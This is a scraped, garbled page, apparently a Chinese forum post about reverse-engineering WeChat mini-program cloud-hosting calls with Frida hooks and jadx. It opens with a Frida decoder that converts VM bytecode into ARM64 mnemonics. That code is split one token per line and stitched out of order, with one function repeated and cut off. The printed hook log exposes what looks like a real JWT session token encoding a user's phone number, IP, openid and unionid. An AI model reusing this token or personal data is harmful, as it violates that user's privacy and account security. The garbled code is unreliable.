(Bit_31_State_1.shr(
20
)).
or
(Bit_28_State.shr(
20
)).
or
(Bit_29_State.shr(
20
)).
or
(Bit_30_State.shr(
20
)).
or
(Bit_31_State.shr(
20
))
\\ndecode(): string {
/
/
ArrayBuffer to ptr
\\n
var
type
=
this.vm_handles.
and
(
0x3F
)
\\n
/
/
unsigned
int
code
\\n
/
/
Bit_28_State
=
code &
0x10000000
;
\\n
/
/
Bit_29_State
=
code &
0x20000000
;
\\n
/
/
Bit_30_State
=
code &
0x40000000
;
\\n
/
/
v17
=
(code >>
11
) &
2
| (code >>
31
) | (code >>
11
) &
4
| (code >>
11
) &
8
| (code >>
11
) &
0x10
;
/
/
提取第
31
位 提取第
12
,
13
,
14
,
15
位 组合
\\n
/
/
/
/
[
15
,
14
,
13
,
12
,
31
]
\\n
/
/
sourceREG
=
(code >>
21
) &
0x1F
;
/
/
取第
22
=
>
26
的值
\\n
/
/
/
/
[
26
,
25
,
24
,
23
,
22
]
\\n
/
/
destREG
=
HIWORD(code) &
0x1F
;
/
/
取
17
>
21
位
\\n
/
/
/
/
[
21
,
20
,
19
,
18
,
17
]
\\n
/
/
Bit_31_State
=
code &
0x80000000
;
\\n
/
/
Bit_30_State_1
=
code &
0x4000000
;
\\n
/
/
Bit_31_State_1
=
code &
0x8000000
;
\\n
var code
=
this.vm_handles
\\n
var sourceREG
=
code.shr(
21
).
and
(
0x1F
)
\\n
var destREG
=
code.shr(
16
).
and
(
0x1F
)
\\n
var Bit_28_State
=
code.
and
(
0x10000000
)
\\n
var Bit_29_State
=
code.
and
(
0x20000000
)
\\n
var Bit_30_State
=
code.
and
(
0x40000000
)
\\n
var Bit_31_State
=
code.
and
(
0x80000000
)
\\n
var Bit_30_State_1
=
code.
and
(
0x4000000
)
\\n
var Bit_31_State_1
=
code.
and
(
0x8000000
)
\\n
var intv17
=
code.toUInt32()
\\n
var v17
=
(intv17 >>>
11
) &
2
| (intv17 >>>
31
) | (intv17 >>>
11
) &
4
| (intv17 >>>
11
) &
8
| (intv17 >>>
11
) &
0x10
\\n
let opcode
=
code.
and
(
0xF000
).
or
(Bit_30_State_1.shr(
20
)).
or
(code.shr(
6
).
and
(
0x3F
)).
or
(Bit_31_State_1.shr(
20
)).
or
(Bit_28_State.shr(
20
)).
or
(Bit_29_State.shr(
20
)).
or
(Bit_30_State.shr(
20
)).
or
(Bit_31_State.shr(
20
))
\\n
switch (
type
.toUInt32()) {
\\n
case
3
:
\\n
case
5
:
\\n
case
0xF
:
\\n
case
0x1A
:
\\n
case
0x2C
:
\\n
case
0x2D
:
\\n
case
0x3A
:
\\n
case
0x3F
:
\\n
switch (
type
.toUInt32()) {
\\n
case
5
:
\\n
case
0xF
:
\\n
case
0x2C
:
\\n
case
0x3A
:
\\n
return
\\"cmp \\"
+
this.reg(sourceREG)
+
\\",\\"
+
this.reg(destREG)
\\n
}
\\n
case
0x2
:
\\n
/
/
vm_regs[(HIWORD(vm_code_1) &
0x1F
)
+
1
]
=
*
(_QWORD
*
)(vm_regs[((vm_code_1 >>
21
) &
0x1F
)
+
1
]
\\n
/
/
+
(__int16)(vm_code_1 &
0xF000
| ((vm_code_1 &
0x4000000
) >>
20
) | (vm_code_1 >>
6
) &
0x3F
| ((vm_code_1 &
0x8000000
) >>
20
) | ((vm_code_1 &
0x10000000
) >>
20
) | ((vm_code_1 &
0x20000000
) >>
20
) | ((vm_code_1 &
0x40000000
) >>
20
) | ((vm_code_1 &
0x80000000
) >>
20
)));
\\n
let opcode1
=
code.
and
(
0xF000
).
or
(Bit_30_State_1.shr(
20
)).
or
(code.shr(
6
).
and
(
0x3F
)).
or
(Bit_31_State_1.shr(
20
)).
or
(Bit_28_State.shr(
20
)).
or
(Bit_29_State.shr(
20
)).
or
(Bit_30_State.shr(
20
)).
or
(Bit_31_State.shr(
20
))
\\n
return
\\"ldr \\"
+
this.reg(destREG)
+
\\",[\\"
+
this.reg(sourceREG)
+
\\",#\\"
+
opcode1
+
\\"]\\"
\\n
case
0xA
:
\\n
case
0xB
:
\\n
case
0xE
:
\\n
case
0x14
:
\\n
case
0x16
:
\\n
case
0x24
:
\\n
case
0x36
:
\\n
case
0x3b
:
\\n
/
/
(__int16)(code &
0xF000
| (Bit_30_State_1 >>
20
) | (code >>
6
) &
0x3F
| (Bit_31_State_1 >>
20
) | (Bit_28_State >>
20
) | (Bit_29_State >>
20
) | (Bit_30_State >>
20
) | (Bit_31_State >>
20
));
\\n
let opcode
=
code.
and
(
0xF000
).
or
(Bit_30_State_1.shr(
20
)).
or
(code.shr(
6
).
and
(
0x3F
)).
or
(Bit_31_State_1.shr(
20
)).
or
(Bit_28_State.shr(
20
)).
or
(Bit_29_State.shr(
20
)).
or
(Bit_30_State.shr(
20
)).
or
(Bit_31_State.shr(
20
))
\\n
return
\\"stp \\"
+
this.reg(destREG)
+
\\" ,[\\"
+
this.reg(sourceREG)
+
\\",\\"
+
opcode
+
\\"]\\"
\\n
case
4
:
\\n
case
0x20
:
\\n
case
0x38
:
\\n
case
0x3e
:
\\n
/
/
v39
=
vm_code_1 &
0x3F
;
\\n
/
/
if
(v39 >
0x37
) {
\\n
/
/
if
(v39
=
=
56
) {
\\n
/
/
*
(& v5
-
> REGS
+
(unsigned
int
)v19)
=
*
(& v5
-
> REGS
+
(unsigned
int
)v18) ^ (vm_code_1 &
0xF000
| (v21 >>
20
) | (vm_code_1 >>
6
) &
0x3F
| (v22 >>
20
) | (v14 >>
20
) | (v15 >>
20
) | (v16 >>
20
) | (v20 >>
20
));
\\n
/
/
}
\\n
/
/
else
if
(v39
=
=
62
) {
\\n
/
/
*
(& v5
-
> REGS
+
(unsigned
int
)v19)
=
*
(& v5
-
> REGS
+
(unsigned
int
)v18) | vm_code_1 &
0xF000
| (v21 >>
20
) | (vm_code_1 >>
6
) &
0x3F
| (v22 >>
20
) | (v14 >>
20
) | (v15 >>
20
) | (v16 >>
20
) | (v20 >>
20
);
\\n
/
/
}
\\n
/
/
}
\\n
/
/
else
{
\\n
/
/
if
(v39
=
=
4
) {
\\n
/
/
LODWORD(v18)
=
(vm_code_1 &
0xF000
| (v21 >>
20
) | (vm_code_1 >>
6
) &
0x3F
| (v22 >>
20
) | (v14 >>
20
) | (v15 >>
20
) | (v16 >>
20
) | (v20 >>
20
)) <<
16
;
\\n
/
/
v18
=
(
int
)v18;
\\n
/
/
v25
=
&vm_regs[(unsigned
int
)v19];
\\n
/
/
v25[
1
]
=
v18;
\\n
/
/
}
\\n
/
/
if
(v39
=
=
32
)
\\n
/
/
*
(& v5
-
> REGS
+
(unsigned
int
)v19)
=
*
(& v5
-
> REGS
+
(unsigned
int
)v18) & (vm_code_1 &
0xF000
| (v21 >>
20
) | (vm_code_1 >>
6
) &
0x3F
| (v22 >>
20
) | (v14 >>
20
) | (v15 >>
20
) | (v16 >>
20
) | (v20 >>
20
));
\\n
/
/
}
\\n
var v39
=
code.
and
(
0x3F
)
\\n
let opcode2
=
code.
and
(
0xF000
).
or
(Bit_30_State_1.shr(
20
)).
or
(code.shr(
6
).
and
(
0x3F
)).
or
(Bit_31_State_1.shr(
20
)).
or
(Bit_28_State.shr(
20
)).
or
(Bit_29_State.shr(
20
)).
or
(Bit_30_State.shr(
20
)).
or
(Bit_31_State.shr(
20
))
\\n
if
(v39.toUInt32() >
0x37
){
\\n
if
(v39.toUInt32()
=
=
56
){
\\n
return
\\"eor \\"
+
this.reg(destREG)
+
\\",\\"
+
this.reg(sourceREG)
+
\\",\\"
+
opcode2
\\n
}
else
if
(v39.toUInt32()
=
=
62
){
\\n
return
\\"orr \\"
+
this.reg(destREG)
+
\\",\\"
+
this.reg(sourceREG)
+
\\",\\"
+
opcode2
\\n
}
\\n
}
else
{
\\n
if
(v39.toUInt32()
=
=
4
){
\\n
return
\\"mov \\"
+
this.reg(destREG)
+
\\",\\"
+
opcode2
\\n
}
else
if
(v39.toUInt32()
=
=
32
){
\\n
return
\\"and \\"
+
this.reg(destREG)
+
\\",\\"
+
this.reg(sourceREG)
+
\\",\\"
+
opcode2
\\n
}
\\n
}
\\n
case
0
:
\\n
case
2
:
\\n
case
8
:
\\n
case
0x12
:
\\n
case
0x1F
:
\\n
case
0x21
:
\\n
case
0x22
:
\\n
case
0x27
:
\\n
case
0x2B
:
\\n
case
0x30
:
\\n
case
0x31
:
\\n
case
0x33
:
\\n
case
0x37
:
\\n
return
\\"mov \\"
+
this.reg(destREG)
+
\\" , \\"
+
this.reg(sourceREG)
\\n
case
0xD
:
\\n
case
0x15
:
\\n
case
0x1B
:
\\n
case
0x28
:
\\n
/
/
v40
=
vm_code_1 &
0x3F
;
\\n
/
/
v41
=
vm_code_1 &
0xF000
| (v21 >>
20
) | (vm_code_1 >>
6
) &
0x3F
| (v22 >>
20
) | (v14 >>
20
) | (v15 >>
20
) | (v16 >>
20
) | (v20 >>
20
);
\\n
/
/
if
( v40
=
=
13
|| v40
=
=
40
)
\\n
/
/
{
\\n
/
/
*
(&v5
-
>REGS
+
(unsigned
int
)v19)
=
*
(&v5
-
>REGS
+
(unsigned
int
)v18)
+
(__int16)v41;
\\n
/
/
}
\\n
/
/
else
if
( v40
=
=
21
)
\\n
/
/
{
\\n
/
/
*
(&v5
-
>REGS
+
(unsigned
int
)v19)
=
*
((
int
*
)&v5
-
>REGS
+
2
*
v18)
+
(__int64)(__int16)v41;
\\n
/
/
}
\\n
let v40
=
code.
and
(
0x3F
)
\\n
let v41
=
code.
and
(
0xF000
).
or
(Bit_30_State_1.shr(
20
)).
or
(code.shr(
6
).
and
(
0x3F
)).
or
(Bit_31_State_1.shr(
20
)).
or
(Bit_28_State.shr(
20
)).
or
(Bit_29_State.shr(
20
)).
or
(Bit_30_State.shr(
20
)).
or
(Bit_31_State.shr(
20
))
\\n
if
(v40.toUInt32()
=
=
13
|| v40.toUInt32()
=
=
40
) {
\\n
return
\\"add \\"
+
this.reg(destREG)
+
\\",\\"
+
this.reg(sourceREG)
+
\\",\\"
+
v41
\\n
}
\\n
else
if
(v40.toUInt32()
=
=
21
) {
\\n
return
\\"add \\"
+
this.reg(destREG)
+
\\",\\"
+
this.reg(sourceREG.shl(
1
))
+
\\",\\"
+
v41
\\n
}
\\n
case
0x2f
:
\\n
/
/
v71
=
vm_code_1 &
0xFFF
;
\\n
/
/
HIDWORD(v72)
=
v71
-
111
;
\\n
/
/
LODWORD(v72)
=
HIDWORD(v72);
\\n
/
/
switch ( (unsigned
int
)(v72 >>
6
) )
\\n
var v71
=
code.
and
(
0xFFF
)
\\n
var v72
=
v71.sub(
111
)
\\n
switch (v72.shr(
6
).toUInt32()) {
\\n
case
0x30
:
\\n
if
(v71.toInt32()
=
=
0xC6F
)
\\n
/
/
p_REGS
=
&v5
-
>REGS;
\\n
/
/
v96
=
*
((_DWORD
*
)&v5
-
>REGS
+
2
*
v19) << (((vm_code_1 &
0x10000000
) >>
26
) &
0xFC
| (vm_code_1 >>
26
) &
3
| ((vm_code_1 &
0x20000000
) >>
26
) | ((vm_code_1 &
0x40000000
) >>
26
));
\\n
return
\\"ldr \\"
+
this.reg(destREG)
+
\\",[\\"
+
this.reg(sourceREG.shl(
1
))
+
\\",#\\"
+
code.shr(
26
).
and
(
0xFC
).
or
(Bit_28_State.shr(
26
).
and
(
3
)).
or
(Bit_29_State.shr(
26
)).
or
(Bit_30_State.shr(
26
)).
or
(Bit_31_State.shr(
26
))
+
\\"]\\"
\\n
return
\\"ret\\"
\\n
case
0x15
:
\\n
if
(v71.toInt32()
=
=
0x5af
)
\\n
return
\\"br \\"
+
this.reg(sourceREG)
\\n
case
0x19
:
\\n
return
\\"ret\\"
\\n
case
6
:
\\n
case
0xD
:
\\n
case
0x1A
:
\\n
case
0x20
:
\\n
case
0x24
:
\\n
case
0x26
:
\\n
case
0x28
:
\\n
case
0x33
:
\\n
/
/
v73
=
vm_code_1 &
0xFFF
;
\\n
/
/
if
( v73 >
0x86E
)
\\n
/
/
{
\\n
/
/
if
( (vm_code_1 &
0xFFF
) <
=
0x9EE
)
\\n
/
/
goto LABEL_154;
\\n
/
/
goto LABEL_64;
\\n
/
/
}
\\n
/
/
if
( (vm_code_1 &
0xFFF
) >
0x3AE
)
\\n
/
/
goto LABEL_254;
\\n
/
/
if
( v73 !
=
495
)
\\n
/
/
goto LABEL_218;
\\n
/
/
goto LABEL_252;
\\n
var v73
=
v71.toUInt32()
\\n
if
(v73 >
0x86E
) {
\\n
if
(v71.toUInt32() <
=
0x9EE
) {
\\n
return
\\"ret\\"
\\n
}
else
{
\\n
if
( v73
=
=
2543
)
\\n
/
/
*
(&v5
-
>REGS
+
v17)
=
*
(&v5
-
>REGS
+
(unsigned
int
)v19)
+
*
(&v5
-
>REGS
+
(unsigned
int
)v18);
\\n
return
\\"add \\"
+
this.reg(ptr(v17))
+
\\",\\"
+
this.reg(destREG)
+
\\",\\"
+
this.reg(sourceREG)
\\n
}
\\n
}
\\n
if
(v73 >
0x3AE
) {
\\n
return
\\"ret\\"
\\n
}
\\n
if
(v73 !
=
495
) {
\\n
return
\\"ret\\"
\\n
}
else
{
\\n
return
\\"ret\\"
\\n
}
\\n
case
0xC
:
\\n
case
0x17
:
\\n
case
0x1F
:
\\n
case
0x3C
:
\\n
/
/
v108
=
vm_code_1 &
0xFFF
;
\\n
/
/
if
( v108 >
0x82E
)
\\n
/
/
{
\\n
/
/
if
( v108
=
=
2095
)
\\n
/
/
{
\\n
/
/
*
(&v5
-
>REGS
+
v17)
=
~(
*
(&v5
-
>REGS
+
(unsigned
int
)v19) |
*
(&v5
-
>REGS
+
(unsigned
int
)v18));
\\n
/
/
}
\\n
/
/
else
if
( v108
=
=
3951
)
\\n
/
/
{
\\n
/
/
*
(&v5
-
>REGS
+
v17)
=
*
(&v5
-
>REGS
+
(unsigned
int
)v19) &
*
(&v5
-
>REGS
+
(unsigned
int
)v18);
\\n
/
/
}
\\n
/
/
}
\\n
/
/
else
if
( v108
=
=
879
)
\\n
/
/
{
\\n
/
/
*
(&v5
-
>REGS
+
v17)
=
*
(&v5
-
>REGS
+
(unsigned
int
)v19) ^
*
(&v5
-
>REGS
+
(unsigned
int
)v18);
\\n
/
/
}
\\n
/
/
else
if
( v108
=
=
1583
)
\\n
/
/
{
\\n
/
/
*
(&v5
-
>REGS
+
v17)
=
*
(&v5
-
>REGS
+
(unsigned
int
)v19) |
*
(&v5
-
>REGS
+
(unsigned
int
)v18);
\\n
/
/
}
\\n
var v108
=
v71.toUInt32()
\\n
if
(v108 >
0x82E
) {
\\n
if
(v108
=
=
2095
) {
\\n
return
\\"not \\"
+
this.reg(ptr(v17))
+
\\",\\"
+
this.reg(destREG)
+
\\",\\"
+
this.reg(sourceREG)
\\n
}
else
if
(v108
=
=
3951
) {
\\n
return
\\"and \\"
+
this.reg(ptr(v17))
+
\\",\\"
+
this.reg(destREG)
+
\\",\\"
+
this.reg(sourceREG)
\\n
}
\\n
}
else
if
(v108
=
=
879
) {
\\n
return
\\"eor \\"
+
this.reg(ptr(v17))
+
\\",\\"
+
this.reg(destREG)
+
\\",\\"
+
this.reg(sourceREG)
\\n
}
else
if
(v108
=
=
1583
) {
\\n
return
\\"orr \\"
+
this.reg(ptr(v17))
+
\\",\\"
+
this.reg(destREG)
+
\\",\\"
+
this.reg(sourceREG)
\\n
}
\\n
}
\\n
}
\\n
return
\\"\\"
\\n
}
\\n
reg(index: NativePointer): string {
\\n
var index1
=
index.toUInt32()
\\n
if
(index1
=
=
31
) {
\\n
return
\\"lr\\"
\\n
}
\\n
if
(index1
=
=
29
) {
\\n
return
\\"sp\\"
\\n
}
\\n
if
(index1
=
=
30
) {
\\n
return
\\"fp\\"
\\n
}
\\n
return
\\"x\\"
+
index1
\\n
}
\\ndecode(): string {
/
/
ArrayBuffer to ptr
\\n
var
type
=
this.vm_handles.
and
(
0x3F
)
\\n
/
/
unsigned
int
code
\\n
/
/
Bit_28_State
=
code &
0x10000000
;
\\n
/
/
Bit_29_State
=
code &
0x20000000
;
\\n
/
/
Bit_30_State
=
code &
0x40000000
;
\\n
/
/
v17
=
(code >>
11
) &
2
| (code >>
31
) | (code >>
11
) &
4
| (code >>
11
) &
8
| (code >>
11
) &
0x10
;
/
/
提取第
31
位 提取第
12
,
13
,
14
,
15
位 组合
\\n
/
/
/
/
[
15
,
14
,
13
,
12
,
31
]
\\n
/
/
sourceREG
=
(code >>
21
) &
0x1F
;
/
/
取第
22
=
>
26
的值
\\n
/
/
/
/
[
26
,
25
,
24
,
23
,
22
]
\\n
/
/
destREG
=
HIWORD(code) &
0x1F
;
/
/
取
17
>
21
位
\\n
/
/
/
/
[
21
,
20
,
19
,
18
,
17
]
\\n
/
/
Bit_31_State
=
code &
0x80000000
;
\\n
/
/
Bit_30_State_1
=
code &
0x4000000
;
\\n
/
/
Bit_31_State_1
=
code &
0x8000000
;
\\n
var code
=
this.vm_handles
\\n
var sourceREG
=
code.shr(
21
).
and
(
0x1F
)
\\n
var destREG
=
code.shr(
16
).
and
(
0x1F
)
\\n
var Bit_28_State
=
code.
and
(
0x10000000
)
\\n
var Bit_29_State
=
code.
and
(
0x20000000
)
\\n
var Bit_30_State
=
code.
and
(
0x40000000
)
\\n
var Bit_31_State
=
code.
and
(
0x80000000
)
\\n
var Bit_30_State_1
=
code.
and
(
0x4000000
)
\\n
var Bit_31_State_1
=
code.
and
(
0x8000000
)
\\n
var intv17
=
code.toUInt32()
\\n
var v17
=
(intv17 >>>
11
) &
2
| (intv17 >>>
31
) | (intv17 >>>
11
) &
4
| (intv17 >>>
11
) &
8
| (intv17 >>>
11
) &
0x10
\\n
let opcode
=
code.
and
(
0xF000
).
or
(Bit_30_State_1.shr(
20
)).
or
(code.shr(
6
).
and
(
0x3F
)).
or
(Bit_31_State_1.shr(
20
)).
or
(Bit_28_State.shr(
20
)).
or
(Bit_29_State.shr(
20
)).
or
(Bit_30_State.shr(
20
)).
or
(Bit_31_State.shr(
20
))
\\n
switch (
type
.toUInt32()) {
\\n
case
3
:
\\n
case
5
:
\\n
case
0xF
:
\\n
case
0x1A
:
\\n
case
0x2C
:
\\n
case
0x2D
:
\\n
case
0x3A
:
\\n
case
0x3F
:
\\n
switch (
type
.toUInt32()) {
\\n
case
5
:
\\n
case
0xF
:
\\n
case
0x2C
:
\\n
case
0x3A
:
\\n
return
\\"cmp \\"
+
this.reg(sourceREG)
+
\\",\\"
+
this.reg(destREG)
\\n
}
\\n
case
0x2
:
\\n
/
/
vm_regs[(HIWORD(vm_code_1) &
0x1F
)
+
1
]
=
*
(_QWORD
*
)(vm_regs[((vm_code_1 >>
21
) &
0x1F
)
+
1
]
\\n
/
/
+
(__int16)(vm_code_1 &
0xF000
| ((vm_code_1 &
0x4000000
) >>
20
) | (vm_code_1 >>
6
) &
0x3F
| ((vm_code_1 &
0x8000000
) >>
20
) | ((vm_code_1 &
0x10000000
) >>
20
) | ((vm_code_1 &
0x20000000
) >>
20
) | ((vm_code_1 &
0x40000000
) >>
20
) | ((vm_code_1 &
0x80000000
) >>
20
)));
\\n
let opcode1
=
code.
and
(
0xF000
).
or
(Bit_30_State_1.shr(
20
)).
or
(code.shr(
6
).
and
(
0x3F
)).
or
(Bit_31_State_1.shr(
20
)).
or
(Bit_28_State.shr(
20
)).
or
(Bit_29_State.shr(
20
)).
or
(Bit_30_State.shr(
20
)).
or
(Bit_31_State.shr(
20
))
\\n
return
\\"ldr \\"
+
this.reg(destREG)
+
\\",[\\"
+
this.reg(sourceREG)
+
\\",#\\"
+
opcode1
+
\\"]\\"
\\n
case
0xA
:
\\n
case
0xB
:
\\n
case
0xE
:
\\n
case
0x14
:
\\n
case
0x16
:
\\n
case
0x24
:
\\n
case
0x36
:
\\n
case
0x3b
:
\\n
/
/
(__int16)(code &
0xF000
| (Bit_30_State_1 >>
20
) | (code >>
6
) &
0x3F
| (Bit_31_State_1 >>
20
) | (Bit_28_State >>
20
) | (Bit_29_State >>
20
) | (Bit_30_State >>
20
) | (Bit_31_State >>
20
));
\\n
let opcode
=
code.
and
(
0xF000
).
or
(Bit_30_State_1.shr(
20
)).
or
(code.shr(
6
).
and
(
0x3F
)).
or
(Bit_31_State_1.shr(
20
)).
or
(Bit_28_State.shr(
20
)).
or
(Bit_29_State.shr(
20
)).
or
(Bit_30_State.shr(
20
)).
or
(Bit_31_State.shr(
20
))
\\n
return
\\"stp \\"
+
this.reg(destREG)
+
\\" ,[\\"
+
this.reg(sourceREG)
+
\\",\\"
+
opcode
+
\\"]\\"
\\n
case
4
:
\\n
case
0x20
:
\\n
case
0x38
:
\\n
case
0x3e
:
\\n
/
/
v39
=
vm_code_1 &
0x3F
;
\\n
/
/
if
(v39 >
0x37
) {
\\n
/
/
if
(v39
=
=
56
) {
\\n
/
/
*
(& v5
-
> REGS
+
(unsigned
int
)v19)
=
*
(& v5
-
> REGS
+
(unsigned
int
)v18) ^ (vm_code_1 &
0xF000
| (v21 >>
20
) | (vm_code_1 >>
6
) &
0x3F
| (v22 >>
20
) | (v14 >>
20
) | (v15 >>
20
) | (v16 >>
20
) | (v20 >>
20
));
\\n
/
/
}
\\n
/
/
else
if
(v39
=
=
62
) {
\\n
/
/
*
(& v5
-
> REGS
+
(unsigned
int
)v19)
=
*
(& v5
-
> REGS
+
(unsigned
int
)v18) | vm_code_1 &
0xF000
| (v21 >>
20
) | (vm_code_1 >>
6
) &
0x3F
| (v22 >>
20
) | (v14 >>
20
) | (v15 >>
20
) | (v16 >>
20
) | (v20 >>
20
);
\\n
/
/
}
\\n
/
/
}
\\n
/
/
else
{
\\n
/
/
if
(v39
=
=
4
) {
\\n
/
/
LODWORD(v18)
=
(vm_code_1 &
0xF000
| (v21 >>
20
) | (vm_code_1 >>
6
) &
0x3F
| (v22 >>
20
) | (v14 >>
20
) | (v15 >>
20
) | (v16 >>
20
) | (v20 >>
20
)) <<
16
;
\\n
/
/
v18
=
(
int
)v18;
\\n
/
/
v25
=
&vm_regs[(unsigned
int
)v19];
\\n
/
/
v25[
1
]
=
v18;
\\n
/
/
}
\\n
/
/
if
(v39
=
=
32
)
\\n
/
/
*
(& v5
-
> REGS
+
(unsigned
int
)v19)
=
*
(& v5
-
> REGS
+
(unsigned
int
)v18) & (vm_code_1 &
0xF000
| (v21 >>
20
) | (vm_code_1 >>
6
) &
0x3F
| (v22 >>
20
) | (v14 >>
20
) | (v15 >>
20
) | (v16 >>
20
) | (v20 >>
20
));
\\n
/
/
}
\\n
var v39
=
code.
and
(
0x3F
)
\\n
let opcode2
=
code.
and
(
0xF000
).
or
(Bit_30_State_1.shr(
20
)).
or
(code.shr(
6
).
and
(
0x3F
)).
or
(Bit_31_State_1.shr(
20
)).
or
(Bit_28_State.shr(
20
)).
or
(Bit_29_State.shr(
20
)).
or
(Bit_30_State.shr(
20
)).
or
(Bit_31_State.shr(
20
))
\\n
if
(v39.toUInt32() >
0x37
){
\\n
if
(v39.toUInt32()
=
=
56
){
\\n
return
\\"eor \\"
+
this.reg(destREG)
+
\\",\\"
+
this.reg(sourceREG)
+
\\",\\"
+
opcode2
\\n
}
else
if
(v39.toUInt32()
=
=
62
){
\\n
return
\\"orr \\"
+
this.reg(destREG)
+
\\",\\"
+
this.reg(sourceREG)
+
\\",\\"
+
opcode2
\\n
}
\\n
}
else
{
\\n
if
(v39.toUInt32()
=
=
4
){
\\n
return
\\"mov \\"
+
this.reg(destREG)
+
\\",\\"
+
opcode2
\\n
}
else
if
(v39.toUInt32()
=
=
32
){
\\n
return
\\"and \\"
+
this.reg(destREG)
+
\\",\\"
+
this.reg(sourceREG)
+
\\",\\"
+
opcode2
\\n
}
\\n
}
\\n
case
0
:
\\n
case
2
:
\\n
case
8
:
\\n
case
0x12
:
\\n
case
0x1F
:
\\n
case
0x21
:
\\n
case
0x22
:
\\n
case
0x27
:
\\n[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
\\n\\n好久没有碰Android逆向了,有1年多了,基本都生疏了,前来复习一下;
本着研究学习的方向,探索Wx小程序云托管的调用机制;
Charles发现云托管的API没办法直接抓包,似乎用的是内部的通道进行通信的,所以只能尝试往小程序jsapi方向下手。
\\n在开始之前,需要先把小程序代码脱出来。
https://github.com/wux1an/wxapkg
在GitHub上无意中找到的。该项目由go编写的,非常方便,直接扫描电脑上缓存的小程序并且还有解压
在图上发现该小程序是调用 t.cloud.init 进行初始化云托管,随后通过t.cloud.callContainer来实现调用接口。
把wechat.apk拖入到jadx-gui进行分析,并尝试检索关键词,callContainer 关键字。
但是很遗憾,没有搜索到任何结果,并且抓不到数据包,简单的方式基本上找不到任何有用的结果。
\\n\\n尝试转变思路,需要尝试搜索一些关键词不是很常见但可能小程序会调用到的,因为如果搜索常见关键字,可能会导致非常多的结果,也同样无从下手。
\\n
最后我选择搜索了wx小程序的一些常用的函数名称,如:getStorageSync
\\n
接着直接复制frida的hook代码片段,直接hook查看
然后去小程序一顿乱操作,可以看到已经hook到了。
随之我们打印堆栈,往上翻,看看能不能找到wx和小程序的交互处。
打印堆栈后,发现 com.tencent.mm.plugin.appbrand.jsapi.p.proceed 比较不顺眼,可以进它进行hook尝试
刚才的调用堆栈是
\\n1 2 3 4 | com.tencent.mm.plugin.appbrand.jsapi.storage.v.t(Native Method) com.tencent.mm.plugin.appbrand.jsapi.r.P(Unknown Source: 24 ) com.tencent.mm.plugin.appbrand.service.u.P(Unknown Source: 91 ) com.tencent.mm.plugin.appbrand.jsapi.p.proceed(Unknown Source: 138 ) |
也就是我查看的proceed,接下来应该会往 u.P 走
所以简单阅读下代码,发现下面这行代码进行了一个json的返回
1 | JSONObject D = r.D(this.f58622h, this.f58616b); |
由于proceed没有提供传入参数,所以直接hook r.D 这个方法里面,看看他的参数是什么?
\\n
上面图上的打印就是 r.D 的参数和返回值,我在进行hook的时候,随意滑动了一下小程序和触发一些接口。
\\n1 | r.D is called: rVar = com.tencent.mm.plugin.appbrand.service.u@ 5cfb43f , str = { \\"keepAlive\\" :true, \\"data\\" :{ \\"api_name\\" : \\"qbase_commapi\\" , \\"data\\" :{ \\"qbase_api_name\\" : \\"tcbapi_call_container\\" , \\"qbase_req\\" : \\"{\\\\\\"method\\\\\\":\\\\\\"post\\\\\\",\\\\\\"headers\\\\\\":[{\\\\\\"k\\\\\\":\\\\\\"TOKEN\\\\\\",\\\\\\"v\\\\\\":\\\\\\"eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJlMjMwOWUwZC0xODAwLTQwZTYtOWIwYi1mNzU4YWRmN2NkODIiLCJpYXQiOjE3MzQ1ODk4MTcsImlzcyI6ImRlbW8iLCJzdWIiOiJ7XCJjZWxscGhvbmVcIjpcIjEzMTE3NzE3NTM4XCIsXCJlbWFpbFwiOlwiXCIsXCJmbGFnXCI6XCJZXCIsXCJsYXN0SXBcIjpcIjIyMi4yMTYuMTYzLjI0MFwiLFwibmlja05hbWVcIjpcIuW-ruS_oeeUqOaItzUxNTZcIixcIm9wZW5pZFwiOlwib3ZVNFo0eFpXTWxhNi1jOTdGTTZqd0FxOXFOMFwiLFwicmlza1JhbmtGbGFnXCI6XCIxXCIsXCJ1bmlvbklkXCI6XCJvay0xZzVoMlItSkdybnZ3dm5oZjJROXNNZ2tnXCIsXCJ1c2VySWRcIjo3MDAwMDAwNzUwMTg2OSxcInVzZXJOYW1lXCI6XCJcIixcInVzZXJQaG90b1VSTFwiOlwiaHR0cHM6Ly9tYWxsaW50ZXIubHRnLmNuOjI4ODY2L2dyb3VwMS9NMDAvM0UvOEUvckJEVXNtUmk2aG1BTUV5NEFBQU9feFlQYWxnMzgwLmpwZ1wiLFwidXNlclR5cGVcIjpcIjNcIn0ifQ.4bnMdASe_0nXsImdm4Zhv3-igN8bVanuChtG4PJj6_o\\\\\\"},{\\\\\\"k\\\\\\":\\\\\\"content-type\\\\\\",\\\\\\"v\\\\\\":\\\\\\"application/json\\\\\\"},{\\\\\\"k\\\\\\":\\\\\\"sign\\\\\\",\\\\\\"v\\\\\\":\\\\\\"\\\\\\"},{\\\\\\"k\\\\\\":\\\\\\"X-WX-EXCLUDE-CREDENTIALS\\\\\\",\\\\\\"v\\\\\\":\\\\\\"unionid, cloudbase-access-token\\\\\\"},{\\\\\\"k\\\\\\":\\\\\\"X-WX-GATEWAY-ID\\\\\\",\\\\\\"v\\\\\\":\\\\\\"ylxs-7g9pu9tk6f466517\\\\\\"},{\\\\\\"k\\\\\\":\\\\\\"HOST\\\\\\",\\\\\\"v\\\\\\":\\\\\\"mallwx.ltg.cn\\\\\\"},{\\\\\\"k\\\\\\":\\\\\\"User-Agent\\\\\\",\\\\\\"v\\\\\\":\\\\\\"Mozilla/5.0 (Linux; Android 10; Pixel 3 Build/QP1A.191005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/130.0.6723.103 Mobile Safari/537.36 XWEB/1300199 MMWEBSDK/20240301 MMWEBID/2603 MicroMessenger/8.0.48.2580(0x28003036) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 